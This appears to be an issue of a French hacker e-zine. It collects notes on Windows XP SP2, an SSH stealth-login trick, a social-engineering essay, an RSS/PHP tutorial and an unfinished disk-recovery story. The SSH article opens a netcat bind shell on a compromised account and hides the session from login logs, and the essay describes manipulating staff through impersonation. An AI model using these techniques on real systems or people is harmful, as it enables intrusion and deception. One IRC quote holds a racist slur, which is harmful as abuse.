avec la première version, mais la j'ai un injection successful pour les 2.. M'enfin, sommes toutes WinXP fait pas grand chose.. en faite ya meme quelque chose de louche. Metton que je lunch une application moche, metton "TCP Port Listener v1.0 by oollee". Bien SP2 me popup une jolie fenêtre de "Open File, Security Warning: The publisher cannot be verified". Et me demande si je veux vraiment l'ouvrir.. fou fou! Mais par contre, si je lunch le binary compiler direct de phrack.. rien, y le run comme du beurre. C'est plutôt louche a mon avis. De plus, des fois, le FireWall de SP2 me gosse a propos des outbounds dans mIRC, quand ça lui tente.. LOUCHE. En tout cas y'a pas de grosses conclusions a tirer de t'ça, à part que ça pourrait pas sucker, mais ça suck par boute pareil.. hehe Lectures en détails ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnwxp/html/securityinxpsp2.asp http://download.microsoft.com/download/6/6/c/66c20c86-dcbe-4dde-bbf2-ab1fe9130a97/windows%20xp%20sp%202%20white%20paper.doc http://www.phrack.org/show.php?p=62&a=13 Bonus link ¯¯¯¯¯¯¯¯¯¯ http://www.microsoft.com/technet/Security/tools/default.mspx La fin de l'article ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Si vous avez lu l'article, vous comprenez maintenant pourquoi le titre était "Notes sur Windows XP SP2" et non "Article innovateur élite super 2004". Mais bon, ces notes pourrait p-e vous êtres utile, ou du moins peuvent vous sauver la lecture longue et fastidieuse (et bullshitteuse) du site de M$ sur le sujet. De plus, ces notes pourrait vous menez vers des idées de projets.. tel que de quoi qui se "process inject", ou encore un plugin de malware qui scrap le firewall du monde.. mais bon, soyez pas trop evil, parce que après tout, la journée qu'on va avoir fini de scrapper Windows et que toute va être patcher, va falloir se rabattre sur la bonne vieille faille universelle : l'être humain. D'ici la ça risque de prendre bcp de temps, mais soyons visionnaire, et disons nous que dans ~100 ans, ça devrait être faite, et même temps, les gens vont être plus sensible à la sécurité, à l'informatique elle-même. Donc, (psychohistoire again), ya qua espérer qui va avoir un véritable avancement dans les OS tel que Windows, tellement grand, que le cycle naturel du hacking puisse continuer et que nos tête dans des bocals puissent continuer de hacker teh yold way. 3h26 am, c fini. time to get balws .-._.-._.-._.-._.-._.-._.-._ :" ------. ``, } |_.l._l '=---=1| { `--.__ |1 } <-'`'` |1 { <-`,., |1 } ,----- =---=1|| : L__/``| ,` "._.-._.-._.-._.-._.-._.-._.-' ready to continue ? .---+-=[ SSh Stealth connection ]=------+---------------------------=[09]=----. | i| \__________________ ___ __ _ | | I| \ | | I| '-=[Phawnky ]=-| | // | | L\:-=[Ak : c'est pas l'homme qui fond mais bon... ]=--------------[~~~~~~~~~~~~]-----| | \ / | '________________________________________________________________________.I[MK-110]I.______' SSH Stealth Stuff Y'a environ 5-6 mois, un de mes buds de efnet ma montre quelque trucs qui peuvent être très utiles quand ça vous tante pas de backdoorer une box et que vous avez déjà le control sur un account, ou plus qu'un, ou whatever qui ressemble a ça, en-t-k...voici le stock: EXEC Si vous le saviez pas déjà (c'est possible) ssh permet de faire autre chose que de se logger a distance, et d'avoir un shell. En fait, vous pouvez spécifiez ce qui est exécuter juste après que vous soyez logger (ou pas, je vais y revenir plus tard). Ca marche comme ca: <-Funky@-> ssh haxor@fserv 'uname' Password: FreeBSD Ou un truc plus utile du genre: <-Funky@-> ssh haxor@fserv 'nc -l -p 31337 -e /bin/sh' Password: ^Z [1]+ Stopped ssh haxor@fserv 'nc -l -p 31337 -e /bin/sh' <-Funky@-> bg 1 [1]+ ssh haxor@fserv 'nc -l -p 31337 -e /bin/sh' & <-Funky@-> nc fserv 31337 ...etc... STEALTH EXEC Wo0, remote exec c'est déjà pas mal...mais ça peut être encore mieux. grace a la -T switch de ssh. Vous savez pas c'est quoi? et ça vous tente pas de chercher? no prob: Extrait de man ssh: -T Disable pseudo-tty allocation. Ok, et ça donne quoi que aucun pseudo-tty nous soit allocater? 2eme extrait de man sshd: [ ...snip... ] When a user successfully logs in, sshd does the following: 1. If the login is on a tty, and no command has been specified, prints last login time and /etc/motd (unless prevented in the configuration file or by $HOME/.hushlogin; see the FILES sec- tion). *** 2. If the login is on a tty, records login time. [ ...snip... ] A Vrai dire, c'est pas juste le login time qui record pas. C'est le user login au complet, le user est pas présent ni dans finger ni dans who, et ni dans lastlogin. <-Funky@-> who root ttyv0 Nov 11 23:16 Funky ttyv1 Nov 11 23:17 Funky ttyp0 Dec 5 18:19 (winbox) <-Funky@-> finger Login Name TTY Idle Login Time Office Phone Funky Alex Coleman *v1 6d Nov 11 23:17 Funky Alex Coleman p0 Sun 18:19 root Mo0t Kewt *v0 8d Nov 11 23:16 <-Funky@-> lastlogin haxor haxor Never logged in Et en plus la seul chose visible dans ps aux c'est ca: root 49230 0.0 5.2 2836 1512 ?? I 9:29PM 0:01.39 sshd: haxor@notty HAH! Pour d'autre truc kewl avec ssh -> man ssh; man sshd ---------------------------------- Greets: ttl du defunt nixsec@efnet ---------------------------------- phawnky.vous.m'avez.pas.vue .---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----. | i|#hack.fr, un endroit accueillant et stimulant \___________________ ___ __ _ | | I| \ | | I| '-=[ Mk-110 ]=-| | // | | L\:-=[ plz je evux s'ioncrire ds undernet ]=--[~~]----| | [ :arenpend e akrhiree ] \/ | [ tu connias putty ] | | [ le programmes putty ] Super | [ :on connais tout putty ] computer | [ :on connais aussi paintbrush ] taste good| [ oui c'est ca plz ] | [ je evux connaictais ] | | [ :pi j'pas sur que je prefererais pas me faire enculer par un ] |-[~]-=[gros negre que de perdre mon temps a parler de ca ] ]=-----:\T | | // | |I |i '_______________________________________.I[ Event ]I._________________________________+____' .---+-=[ Cause S of S-E means Social ]=------+---------------------------=[10]=----. | i| \__________________ ___ __ _ | | I| \ | | I| '-=[Wyzeman ]=-| | // | | L\:-=[Ak : The mooooo world ]=--------------[~~~~~~~~~~~~]-----| | \ / | '________________________________________________________________________.I[MK-110]I.______' Si nous nous en tenons a une définition exhaustive du terme hacking, nous pouvons dire qu'il s'agit de pénétrer un système via n'importe quel moyen disponible et de préférence de façon inconito. Et il est bien connu que de nos jour encore la plus grande faille de sécurité réside dans le facteur humain. Un humain peu être facilement influencer ou tromper et se, généralement sans avoir a impliquer des connaissances technique de pointe. L'homme exerces mainte manipulation contre ses semblables depuis probablement beaucoup plus longtemps qu'on aurait envie de croire. Depuis l'arriver du monde informatique, une variante dédier aux particularités de se monde a été nommer "social-engeneering" l'art de modeler une conversation a sont avantage en tirant parti des faiblesses du genre humain. De plus, parallèlement, la connaissance psychologique de l'être humain a évoluer de façon a pouvoir nous fournir des raisons qui font en sorte que la manipulation de masse ou d'individus a leurs insu est possible. Comme pour le cerveau, la partie émotive (l'impression de) est beaucoup plus importante que le contenu livree (tant que c'est plausible)). Certes l'habit ne fait pas le moine, mais que veut réellement dire cette phrase dans une société ou le 2eme degrés est loin de faire office de référence. Après tout, l'être humain est un animal et ça psyché est déterminer d'après c'est émotions (c'est une des raisons entre autre qui fait que vous agissez différemment dépendamment d'avec qui vous êtes (certain dirons que vous possédez autant de personnalité que le nombre de vos d'amis). Mais l'être humain possède aussi la logique et peu importe ce que vous dirons les esprits faible, il est possible d'utiliser la logique pour comprendre et surpasser les émotions. Pour bien y arriver par contre, il faut être totalement honnête avec soit même (ce qui est soit disant impossible (mon oeil)). Ceux qui savent se comprendre savent comprendre les autres, et aussi, utiliser ce fait comme un avantage. Si on sait comment on réagit face a différente situation de base (plus l'action est générique mieux c'est, sinon on rentre en conflit avec les différences de valeurs, choc des génération et autre patern plus difficile a saisir) on peu les recréer afin d'amener ce même sentiment chez la personne qu'on cherche a influencer. Dans cette article, je d'écrirais quelque réalité de l'homme qui permette de mieu l'exploiter dependament de l'effet qu'on souhaite amener. évidement rien de ceci n'est vrai ou efficace a 100%, il ne s'agit que de généralité, de plus, votre taux de réussite dépend grandement de votre faciliter a interpréter les sentiments des autres (et croyez moi ça peu même se faire a travers irc (c'est souvent plus simple dailleur)). Beaucoup d'émotion peuvent servire de base a la manipulation, mais la plus efficace (et dailleur la plus utiliser en marketing et en propagande) et la peur. l'être humain est une créature relativement faible et sans défense s'il n'a pas eu le temps (ou la génétique) d'exploiter sont intelligence a sont avantage. Si il a réussi a survivre si longtemps, c'est entre autre grâce a sa peur génétique directement lier a sont instinct de survie, (après tout avouons le, la meilleur chance de survivre a un danger est de ne pas être impliquer dans le rayon d'action de se danger). Il existe certes des individus qui ne semble être effrayer par rien, mais a l'inverse d'autre on tellement peur qu'il sont incapable de vivre en société (et ils ne vivrait probablement pas très longtemps sans elle). C'est individus ne forme cependant pas la majorités et pourrais statistiquement être compiler a environs 1 par gang. La plus par seront faire face a la plus par des situation normal de leur vie, et a moins d'être spécialement entraîner pour affronter le danger, préfèrerons fuire plutôt que de risquer une blessure. Dans sa version la plus brutale et simple, on peu expliquer que face a un adversaire celui qui avant le combat aura estimer qu'il a relativement peu de chance de l'emporter choisira la fuite ou la soumission (dépendamment de la nature de l'adversaire et de sont interprétation de la situations et des meilleurs chance de s'en sortir indemne. Dans la majoriter des cas, si les 2 opposants sont d'une volontés égales, la victoire ira au plus compétent, et si les 2 sont aussi compétant la victoire ira plus souvent qu'autrement au plus confiant des deux). Mouais mais hum, on a pu vraiment le droit de brutaliser sont voisin pour lui imposer une taxe de bienvenue (sauf si on est un thug au secondaire !! :/) alors a quoi bon peu me servire cette peur encrer chez l'être humain ? Et bien le monde moderne est remplis d'exemple a s'inspirer, le domaine de la mode en est un des plus beau exemple et très facile a comprendre si ce n'est déjà fait (on l'espère un peu pour vous dailleur). Donc possédez telle produit vous donnera telle statut en public. Dailleur a l'extrême l'uniforme d'un soldat ou d'un policier peu faire frissonner plusieurs civil (arme compris). Et si vous vous demandiez en quoi le costume d'un pâtissier peu être lier a la peur ? car, effectivement a première vue un pâtissier a rarement effrayer quelqu'un. Bien sachez que quelque par au fond de l'être humain réside une peur d'être perdu et de ne pas comprendre sont environnement. Donc si vous chercher un pâtissier vous allez être heureux de croire que celui qui s'affiche pâtissier en est un (et vous avez tellement la trouille de vous faire avoir que celui ci doit posséder divers permis pour vous vendre ses produits). Dailleur si certain d'entre vous on déjà eu a porter un uniforme de travails pour un magasin a rayon quelconque, repenser au nombre de fois ou vous vous êtes faite demander "pardons travaillez vous ici ?". s'attendent t'ils vraiment a entendre; "non, jsuis juste déguisé.". Ils ont simplement le besoin de se faire rassurer. après tout faut éviter de mal paraître.... jme souvient pu trop pourquoi mais bon, qui sait s'qui pourrais arriver.... Un des passes temps favoris de l'être humain étant de trouver une bonne raison pour avoir peur de quelque chose, l'impression de s'être faite arnaquer quelque part, qu'un complot existe ici ou la. bien entendu bien souvent les peurs sont justifiés, sinon elle ne serais pas aussi imprégner au seins de l'humanité. Par contre, ça ne vous empêche pas de les comprendre et de les utiliser a votre avantage, car en réalité ce qui compte pour la peur et les sentiment en général, ce sont les apparences, et non ce que c'est vraiment. L'intelligence est venu après les émotions dans la chaîne de l'évolution, il est donc tout a fait normal quelle permette d'en brisée quelque règles. L'intelligence permet en effet étouffer les sentiments pour lui subtiliser soit la logique ou les réflexes qui sont en fait des émotions très basic de réaction programmer a des stimulis, ayoye == bouge encore une fois on i voit les sources de nos bonnes vieilles peurs notez qu'un simple doute est considérer comme une peur a l'emploie de se texte. Comment utiliser la peur pour faire passer vos idée ? Comme il a été dit plutôt, la peur fait en sorte que l'être humain a tendance a se fier aux apparences. Après tout, la nature ne ment pas et elle nous as imprégner durant la majeur parti de notre existence en tant que race. Et l'art du social engeneering consiste principalement a se faire passez pour qui nous ne somme pas. La vie est un film ou les gens meurent vraiment. Vous avez le choix du role que vous désirez, si vous êtes capable de combattre les peurs qui viennent avec le choix que vous avez fait (remarquez dailleur que la plus par dentre nous travaille au chaud dans des bureaux, non mais quel courage). De plus aider par le système anarchique qu'est le libre capitalisme la plus par des gens se retrouve dans un emplois "pour payer le loyer" dans lesquels souvent ils nont peu être pas l'impression d'être totalement justifier (bien sur ils font de leur mieux). Donc évidement ils auront souvent plus peur de leur patron que de vous. C'est un avantage stratégique a ne pas manquer. non ce n'est pas tout le monde qui a peur de sont patron et qui n'est pas dans les bon pantalons, mais ca c'est a vous de faire la différence. avec les systèmes téléphonique avec plusieurs téléphonistes, une certaine forme de brute force peu être appliquer, mais essayer de rester discret. De plus ceux qui auront compris que jsuis en train d'expliquer qui faut appeler des employés pour les menacer, vous êtes totalement dans le champ, ce que je dit plutôt, c que quand vous allez a la banque ou peu importe, votre isp, essayer de voir avec qui vous réussissez a tirez le plus d'information en restant "banal" et sympathique. tse la bonne vielle méthode de l'homme qui a vue l'homme qui a vu l'ours. (j'ai toujours entendu dire qu'on foutais des chats mort dans vos sous sol, est-ce vrai ?). Un autre phénomène notoire et utilisable est que, pour survivre l'être humain c'est toujours tenu en groupe, l'union fait la force, surtout quand on a pas de pepine. Donc chaque être humain d'une communauté a tendance a adapter une façon d'être commune. Donc plus vous réagirai a une personne de la même façon quelle le ferais, et ce même physiquement (ou même surtout physiquement), plus vous allez lui êtes favorable, car vous aurez été perçu comme membre de sa tribut. Avec la tribut sont née les relations d'échange, je fais si tu fais ça, le troc, base du commerce et ou de la corruption, peu importe le nom ça revient a je te done ou fait x pour toi et tu me donne ou me fais y. Le but étant évidement toujours d'en donner le moins possible pour en avoir le plus possible (non pas davoir le plus cheap possible par contre). Ou est-ce que ça mene tout ça concrètement ? et bien c'est dure a dire, parfois ça peu être 5 minute de solitude et un "bon" café (le temps de faire le café) que l'on peu utiliser pour lire quelque papier, regarder en dessous du clavier (smile your on video). Ou bien de carrément se faire dire, "maudit mots de passe, moi jles écrits toute en dessous de mon clavier hihihi!". D'autre vont récupérer des quilles, ou réserver des allées au nom de Derekt Humcrew. Ou bien munissez vous d'un pad de papier, d'un stylos, et allez vous promener en disant que vous faite l'inventaire pour inter-san, avec une belle list d'adresse (au cas ou), et vous allez être surpris de voir jusque ou les gens vont vous confier leurs vidanges ;]. (dailleur si vous avez un squelette dans votre placard, d'après moi ya pas mal de poubelle perdu au nord de val belair...) naration Wyzeman figurant __2 Init_null Wyzeman .---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----. | i|#hack.fr, un endroit accueillant et stimulant \___________________ ___ __ _ | | I| \ | | I| (beaucoup (trop) d'explication plus tard...) '-=[ Mk-110 ]=-| | // | | L\:-=[ attedn j'ouvre putty ]=--[~~]----| | [ etd is moi ce que je fais ] \/ | [ :ARF ] | | [ :tu viens de me couter aumoins 10$ de weed ] will | [ :va faloir que j'me l'injecte par intraveineuse ] cybernetic | [ je fais quoi mainte,nn,at ] rats teach| [ il me demande l'ip ouhost ] our cats ?| [ :miaw miaw miaw miaw ] | | [ :miaw miaw miaw miaw ] |-[~]-=[ :miaw miaw miaw miaw miaw miaw miaw miaw ] ]=-----:\T | | // | |I |i '_______________________________________.I[ Event ]I._________________________________+____' .---+-=[ Implantons RSS dans votre site ]=------+---------------------------=[11]=----. | i| \__________________ ___ __ _ | | I| \ | | I| '-=[Nothing94 ]=-| | // | | L\:-=[Ak : Le syndicat du web est rendu à votre porte ]=--------------[~~~~~~~~~~~~]-----| | \ / | '________________________________________________________________________.I[MK-110]I.______' +-----------+-------------------------------+ | Mots clés | Quoi, Pourquoi, Pour qui | +-----------+-------------------------------+ Premièrement, RSS est pour "Really Simple Syndication". Deuxièmement, c'est rien de compliqué. Ce nouveau standard sert uniquement aux dépendants d'internet. C'est un peu le principe d'Illico de Videotron où l'on peut regarder les films que l'on veut lorsque l'on désire, et ce, dans le confort de la maison. Donc, par analogie, l'usager peut lire les nouvelles de 400 sites web - dont le vôtre - via un seul et unique programme ou client email qui supporte les newsfeeds. Ceci lui permet alors d'éviter le long processus de taper les adresses des sites web dans son browser, de scroller à travers la publicité pour lire les headlines et de gosser ici et là. Il a accès à tous les headlines à un seul endroit, et dans bien des cas, il a l'article intégral sans avoir à cliquer sur un url qui se rend au site. C'est ce que j'appelle avoir de l'information de manière condensée pour bien cohabiter avec un monde de surconsommation. Toutefois, les newsfeeds ont certains désavantages au niveau de l'expérience du navigateur. C'est-à-dire que lorsque vous regardez des newsfeeds, c'est comme si vous lisiez des emails. Tout est fade, sans couleurs, sans attraits, sans contenu superflu ou additionnel. Vous êtes encadrés par le contenu strictement. Bien sûr le contenu peut être en format html, mais cela reste un contenu qui ne change pas de format à la base. Nous nous rendons alors compte si ce n'est déjà fait, que cette technologie sert uniquement pour les sites de nouvelles ou les blogs où chaque information peut se séparer en morceau indépendamment du reste du site. +-----------+-------------------------------+ | Mots clés | Comment | +-----------+-------------------------------+ Comme je disais précédemment c'est très simple. Tout ce qu'il vous faut, c'est un fichier xml contenant les dernières nouvelles de votre site. Nous verrons ici le format RSS 2.0. Si vous voulez utiliser des versions antérieures comme 0.91 ou 0.92, c'est votre problème. Si vous voulez utiliser RDF, c'est votre problème. Notez que je n'ai pas décelé d'utilité à utiliser le format RDF qui est plus complexe mais qui n'offre pas grand chose de plus à la fin. Après tout, le but premier est d'informer rapidement, et non de réinventer le web. +-----------+-------------------------------+ | Mots clés | Exemple RSS | +-----------+-------------------------------+ hall of nothingness http://nothing94.250x.com Project what you want to be, anyway you are nothing fr-ca dieforyoursins@hotmail.com Sat, 21 Aug 2004 15:21:38 EST 1440 Updates internes http://nothing94.250x.com/news1.html#Updates_internes <p>Hourra, des updates majeures ont été faites dans le code. En résumé, plus d'orienté objets dans les scripts php, le xhtml est dans des templates Smarty, et il y a maintenant un RSS feed.</p> Sat, 21 Aug 2004 00:00:00 EST Nouvelle image : Looking Glass http://nothing94.250x.com/news1.html#Nouvelle_image_:_Looking_Glass Dans la section Pictures/Artworks. Tue, 27 Jan 2004 00:00:00 EST Nous voyons la définition du xml, la définition du document rss, le channel, puis la définition du site web, pour finalement lister le contenu. +-----------+-------------------------------+ | Mots clés | Spécification RSS | +-----------+-------------------------------+ 1 - Mettre l'élément 2 - Mettre l'élément 3 - Mettre l'élément 4 - Mettre les infos du site sous l'élément +------------------------------------------------------------------+ | Éléments obligatoires | +----------------+-------------------------------------------------+ | title | Titre de votre site | | link | Url vers votre site | | description | Description de votre site | +----------------+-------------------------------------------------+ | Éléments optionnels | +----------------+-------------------------------------------------+ | language | | | copyright | Puisque vous savez ou | | managingEditor | devriez tous savoir lire | | webMaster | l'anglais, et que la | | pubDate | traduction de ces éléments | | lastBuildDate | demanderait beaucoup de | | category | temps de ma part. Je vous | | generator | invite à lire le site | | docs | http://blogs.law.harvard.edu/tech/rss | | cloud | qui contient toutes les | | ttl | définitions nécessaires | | image | et spécifications | | rating | pour utiliser ces éléments | | textInput | efficacement. Merci de | | skipHours | votre compréhension. | | skipDays | | +----------------+-------------------------------------------------+ 5 - Mettre les dernières nouvelles de votre site sous l'élément 5.1 - Pour chaque nouvelle, mettez un élément 5.2 - Mettez les infos de la nouvelle sous l'élément +------------------------------------------------------------------+ | Éléments obligatoires | +----------------+-------------------------------------------------+ | title | Titre de votre nouvelle | | link | Url vers votre nouvelle | | description | Description de votre nouvelle ou texte intégral | +----------------+-------------------------------------------------+ | Éléments optionnels | +----------------+-------------------------------------------------+ | author | Puisque vous savez ou devriez tous savoir lire | | category | l'anglais, et que la traduction de ces éléments | | comments | demanderait beaucoup de temps de ma part. Je | | enclosure | vous invite à lire le site | | guid | http://blogs.law.harvard.edu/tech/rss | | pubDate | qui contient toutes les définitions nécessaires | | source | et spécifications pour utiliser ces éléments. | +----------------+-------------------------------------------------+ +-----------+-------------------------------+ | Mots clés | Création du newsfeed avec PHP | +-----------+-------------------------------+ J'ai décidé ici de rendre entièrement indépendant le module qui construit la définition RSS. Le code suivant peut donc être utilisé directement comme source. C'est-à-dire que nous n'avons pas à générer de fichier xml puisque cette page php va construire au runtime un fichier up-to-date. Notez que vous n'avez besoin que des dernières nouvelles du site considérant que ce n'est pas de l'archivage que vous faites. Notez également que les aggregators (Programme pour lire les news feed) conservent à l'interne les vieilles nouvelles si vous le désirez. +------------------------------------------------------------------+ | Fichier ./rss/index.php | | Objet : Génère le fichier xml et l'imprime au STDOUT | +------------------------------------------------------------------+ login('../include/login.ini',DB_NAME) or die("Connection failed: " . mysql_error()); # GET LATEST NEWS ********************************* $query = "SELECT date,time,topic,text FROM news WHERE page='1' ORDER BY date DESC,time DESC"; $query_result = mysql_query($query) or die("Query failed: " . mysql_error()); # CREATE RSS ************************************** $xml = new XmlWriter('ISO-8859-1'); $xml->push('rss', array('version' => '2.0')); $xml->push('channel'); $xml->element('title','hall of nothingness'); $xml->element('link','http://nothing94.250x.com'); $xml->element('description','Project what you want to be, anyway you are nothing'); $xml->element('language','fr-ca'); $xml->element('webMaster','dieforyoursins@hotmail.com'); $xml->element('pubDate',Utils::getDateRFC822(time())); $xml->element('ttl','1440'); # Process each news while ($row = mysql_fetch_assoc($query_result)) { $xml->push('item'); $xml->element('title',$row['topic']); $xml->element('link','http://nothing94.250x.com/news1.html#'. htmlentities(str_replace(' ','_',$row['topic']))); $xml->element('description',$row['text']); # Note : My text contains html $xml->element('pubDate',Utils::getDateRFC822(strtotime($row['date']))); $xml->pop(); # item } $xml->pop(); # channel $xml->pop(); # rss print $xml->getXml(); ?> +------------------------------------------------------------------+ | EOF | +------------------------------------------------------------------+ +------------------------------------------------------------------+ | Fichier ./include/XmlWriter.php | | Objet : Module cheapo pour créer un fichier xml | +------------------------------------------------------------------+ indent = $indent; $this->xml = "\n"; } function _indent() { for ($i = 0, $j = count($this->stack); $i < $j; $i++) { $this->xml .= $this->indent; } } function push($element, $attributes = array()) { $this->_indent(); $this->xml .= '<'.$element; foreach ($attributes as $key => $value) { $this->xml .= ' '.$key.'="'.$this->_xmlentities($value).'"'; } $this->xml .= ">\n"; $this->stack[] = $element; } function element($element, $content, $attributes = array()) { $this->_indent(); $this->xml .= '<'.$element; foreach ($attributes as $key => $value) { $this->xml .= ' '.$key.'="'.$this->_xmlentities($value).'"'; } $this->xml .= '>'.$this->_xmlentities($content).''."\n"; } function emptyelement($element, $attributes = array()) { $this->_indent(); $this->xml .= '<'.$element; foreach ($attributes as $key => $value) { $this->xml .= ' '.$key.'="'.$this->_xmlentities($value).'"'; } $this->xml .= " />\n"; } function pop() { $element = array_pop($this->stack); $this->_indent(); $this->xml .= "\n"; } function getXml() { return $this->xml; } function _xmlentities($element) { $patterns = array("/&/" ,"//" ,"/\"/" ,"/'/"); $replacements = array('&','<','>','"','''); return preg_replace($patterns, $replacements, $element); } } ?> +------------------------------------------------------------------+ | EOF | +------------------------------------------------------------------+ En résumé, le fichier index.php se connecte à la base de données, va chercher les dernières nouvelles et puis génère un fichier xml qui s'imprime au STDOUT. Il est à noter que si votre site a beaucoup de visiteurs, il est peu recommandé de laisser cette page accessible. Il vous est donc recommandé d'utiliser cette page à l'interne uniquement en créant à tous les X temps un nouveau fichier xml up-to-date. Donc, pour générer le fichier, vous pouvez y aller en console avec quelque chose comme : % php -f index.php > index.xml Vous pourrez accéder à votre newsfeed avec le url http://nothing94.250x.com/rss/index.xml si vous ne rendez pas public index.php, autrement ce sera http://nothing94.250x.com/rss/index.php +-----------+-------------------------------+ | Mots clés | Flafla visuel | +-----------+-------------------------------+ Il ne vous reste plus qu'à mettre sur votre site un beau lien vers votre fichier xml avec une belle image RSS ou XML ou bien un beau caption "RSS news feed". Si vous êtes plus hardcore vous pouvez toujours mettre comme caption "Don't click here". +-----------+-------------------------------+ | Mots clés | Utilisation de RSS | +-----------+-------------------------------+ Pour lire les news feed, il va de soi que vous avez besoins de programmes qui le supporte. Voici des "aggregators" pouvant lire RSS 2.0 Aggie (.NET) AmphetaDesk (Windows, Macintosh, Linux) BlogLines (Server-based) BottomFeeder (Windows, Macintosh, Unix) EffNews RSS Reader (Windows) FeedDemon (Windows) FeedReader (Windows) NetNewsWire (Macintosh) NewsDesk (.NET) NewsGator (.NET) NewsIsFree (Server-based) NewsMonster (Mozilla) NewzCrawler (Windows) nntp//rss (Java) PocketFeed (PocketPC) PopHeadlines (.NET) Python Desktop Server (Python) Radio UserLand (Windows, Macintosh) RSS Bandit (.NET) RSS NewsWatcher (Windows) Sharp Reader (.NET) Shrook (Macintosh) SlashDock (Macintosh) Straw (GNOME) Syndirella (.NET) VOX Lite (Windows) ZOË (Macintosh) Enclosure-aware aggregators Ici, j'ai testé avec le news feed intégré dans le email client de Opera ainsi que Sharp Reader. +-----------+-------------------------------+ | Mots clés | Gourmandise | +-----------+-------------------------------+ Pour ceux qui veulent en savoir plus, allez fouillez sur le web pour des valideurs de RSS, ou pour n'importe quoi d'autre. RSS est simple et efficace, et personne ne prévoit modifier de beaucoup le format 2.0 outre peut-être des changements mineurs. +-----------+-------------------------------+ | Mots clés | Lâcheté | +-----------+-------------------------------+ Si vous êtes lâche ou bien que vos doigts sont trop gros pour taper sur un clavier et ainsi programmer ce dont vous avez besoin, sachez qu'il existe des outils pour générer votre/vos fichier(s) RSS. Blogger (Mark Gardner) JournUrl (Roger Benningfield) Manila (UserLand) Movable Type (Mark Pilgrim) Nucleus CMS (Wouter Demuynck) Radio UserLand (UserLand) Je ne les ai pas essayés et je vous laisse risquer votre vie inutilement. C'est si simple que ça ne vaut même pas le déplacement. +-----------+-------------------------------+ | Mots clés | Signature | +-----------+-------------------------------+ Truly yours, nothing94 .---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----. | i|#hack.fr, c'est aussi....binf \___________________ ___ __ _ | | I| \ | | I| '-=[ Mk-110 ]=-| | // | | L\:-=[ ca reste que un channel qui pipe des news de slashdot et ]=--[~~]----| | [securityfaux cul ] \/ | [ que ya des branleux qui front le talk shit et qui appuient pas ] | | [--------------------------Warp Zone---------------------------- ] Extreme | [ jvois juste pas le but de tenter d'avoir un empire de rien ] coder | [--------------------------Warp Zone---------------------------- ] don't use | [ ce toute des caves ] backup | [ spa compliquer ] | | [ des pogne cul ] |-[~]-=[ ] ]=-----:\T | | // | |I |i '_______________________________________.I[ Event ]I._________________________________+____' .---+-=[ A tale of interests ]=------+---------------------------=[12]=----. | i| \__________________ ___ __ _ | | I| \ | | I| '-=[__2 ]=-| | // | | L\:-=[Ak : Kaboum le HD, na pu ]=--------------[~~~~~~~~~~~~]-----| | \ / | '________________________________________________________________________.I[MK-110]I.______' Cet article ne discute pas réellement d'une technique particulière mais plutôt d'un exemple concret qui démontre comment cela peut être plaisant de perdre tout le contenu d'un disque dur. La dernière fois que l'un de mes disques a passer l'âme, c'était un vieux 40 megabytes en 1992. Donc, comme vous pouvez le constater, je suis pas très familier avec ce genre d'expérience. N'empêche, il y a 1 semaine, le disque de 120gig sur laquelle reposait mon router, mon CVS de projets commerciaux, mes documents, ma pr0n, mes warez et ma vie (on va dire) s'est mis a grincer des dents. Les partitions (Linux EXT3) du disque sont soudainement devenus illisibles. Quel fâcheux contretemps, un jour de semaine avec du travail a finir rapidement. J'avais deja décider de faire mon deuil de mon porn, mes warez et des trucs que j'avais pas vraiment besoin. Mes projets commerciaux avaient, par miracle été copier 1 journée avant sur un CD (Aleluya). Il restait tout de même un petit hic, il me manquait quelques fichiers très importants (que j'avais pris le soin de zipper la veille). Vu l'importance de retrouver ce fichier a caractère vitale (mes états de compte et autres papiers important pour que le gouvernement puisse investir dans de la commandite), je me suis mis a réfléchir a des façons de réussir a retrouver mon petit fichier zip perdu. C'est a ce moment la que la quête commence :) Choses a savoir: La partition qui ne monte plus était la /dev/hdc2 elle contenait une partition EXT3 dont approximativement les 10 premiers megabytes étaient fichus ainsi qu'a plusieurs autre endroits si on se fit au son fatiguant. Qu'est-ce que j'ai fait: J'ai tout d'abord utiliser hexedit pour ouvrir la partition (hexedit /dev/hdc2) et j'ai chercher pour le pattern 'facture_1112.xls'. Je savais que ce fichier se trouvait dans mon fichier ZIP, et les noms de fichier ne sont jamais compresser dans un fichier ZIP, seulement leur contenu (merci ZIP). Alors si tout va bien, je devrais être capable de retrouver ce pattern, sinon je peux réellement dire adieux a mon précieux fichier. BINGO, je retrouve le pattern vers la moitiez de la partition. Prochaine étape, extraire le ZIP et vérifier si il est encore valide. Cette partie est plus difficile mais voici grossomodo mon approche: J'ai premièrement,ete me perdre dans le code source de zlib, pour finalement accélérer mes démarches en consultant le très utile www.wotsit.org, un site que je consulte depuis quelques années et qui contient la spécification de plusieurs formats de fichier. Voici ce qui en a ressorti d'important: -> local file header signature 4 bytes (0x04034b50) -> end of central dir signature 4 bytes (0x06054b50) Le premier pattern (0x04034b50) va me permettre de trouver le début de mon fichier, et le 2ieme (0x06054b50) sa fin. Alors, tout joyeux j'ai commencer a concevoir un petit code pour extraire tout les zip que je trouverais sur le disque en question: ------------------last_hope.cpp------------------------ // Ce define a ete tricky a trouver, c'est ce qui me // permet d'utiliser de l'adressage 64bits a l'intérieur // des fichiers. Sans cela je serais limiter a la lecture // de fichier de 4 Gigs. // Linux supporte le 64bits, mais par défaut il fallback // en 32, on doit alors spécifier ce macro au début de // notre code. Je trouve que ca ressemble a un ugly hack // pour un os, mais bon, tant que ca fonctionne bien. #define _FILE_OFFSET_BITS 64 #include #include #include #define FAULTY_DEVICE "/dev/hdc2" // la partition sur le evil HD #define ZIP_START "\x50\x4b\x03\x04" // le pattern de depart #define ZIP_END "\x50\x4b\x05\x06" // le pattern de fin /*------------------------------------------------------*/ // Le bon vieux main , rien a en redier /*------------------------------------------------------*/ int main(int argc,char* argv[]) { // ici je verifie si le systeme est bel et bien capable de supporter le mode 64bits // dans le cas d'un systeme 32bits, le sizeof retourne 12 au lieu de 16. Cr le off_t // pese 4bits au lieu de 8. if (sizeof(fpos_t) != 16) { std::cout << "This system dont support 64bits file io" << std::endl; return 0; } // Variables 'wedontcare' globales char sign[4]; int count = 0; int size = 0; bool inside_zip = false; fpos_t 